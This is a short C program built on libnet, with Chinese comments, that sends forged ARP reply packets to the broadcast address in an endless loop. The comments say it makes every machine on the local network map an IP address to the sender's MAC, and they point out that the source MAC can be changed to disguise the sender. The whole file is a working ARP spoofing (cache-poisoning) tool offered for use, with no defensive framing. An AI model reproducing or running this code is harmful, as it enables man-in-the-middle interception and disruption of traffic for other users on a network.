//编译方式gcc arp.c -lnet
//arp.c
#include <stdio.h>
#include <libnet.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
//向同一网络内所有机器发送ARP REPLY包，告诉他们，23.23.23.2Z在00:df:17:17:17:f2那里
int main(int argc, char *argv[])
{
printf("into arp\n");
libnet_t *l = NULL; // libnet context
int i = 0;
char *device = "eth0";
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag;
unsigned char src_mac[MAC_ADDR_LEN]//自己机器的MAC地址f4:6d:04:65:48:18
= {0xf4, 0x6d, 0x04, 0x65, 0x48, 0x18};
unsigned char dest_mac[MAC_ADDR_LEN]
= {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
char *src_ip_str = "192.168.100.91";
unsigned long src_ip, dest_ip = 0;
src_ip = libnet_name2addr4(l, src_ip_str, LIBNET_RESOLVE);
// create libnet environment
l = libnet_init(LIBNET_LINK_ADV, device, err_buf);
if(!l)
printf("libnet_init error\n"), exit(1);
//构造ARP数据包
p_tag = libnet_build_arp( // construct arp packet
ARPHRD_ETHER, // hardware type ethernet
ETHERTYPE_IP, // protocol type
MAC_ADDR_LEN, // mac length
IP_ADDR_LEN, // protocol length
ARPOP_REPLY, // op type
(u_int8_t*)src_mac, // source mac addr这里作用是更新目的地的ARP表 IP-MAC
(u_int8_t*)&src_ip, // source ip addr
(u_int8_t*)dest_mac, // dest mac addr
(u_int8_t*)&dest_ip, // dest ip addr
NULL, // payload
0, // payload length
l, // libnet context
0 //0 stands to build a new one
);
if(-1 == p_tag)
printf("libnet_build_arp error\n"), exit(1);
//以太网头部
p_tag = libnet_build_ethernet( // create ethernet header
(u_int8_t*)dest_mac, // dest mac addr
(u_int8_t*)src_mac, // source mac addr这里说明你链路层的源MAC地址，如果改了可以伪装自己
ETHERTYPE_ARP, // protocol type
NULL, // payload
0, // payload length
l, // libnet context
0 // 0 to build a new one
);
if(-1 == p_tag)
printf("libnet_build_ethernet error!\n"), exit(1);
int res;
for(;;){
if(-1 == (res = libnet_write(l))){
printf("libnet_write error!\n");
exit(1);
}
printf("arp packet has been sent\n");
sleep(1);
}
libnet_destroy(l);
printf("out of arp\n");
return 0;
}
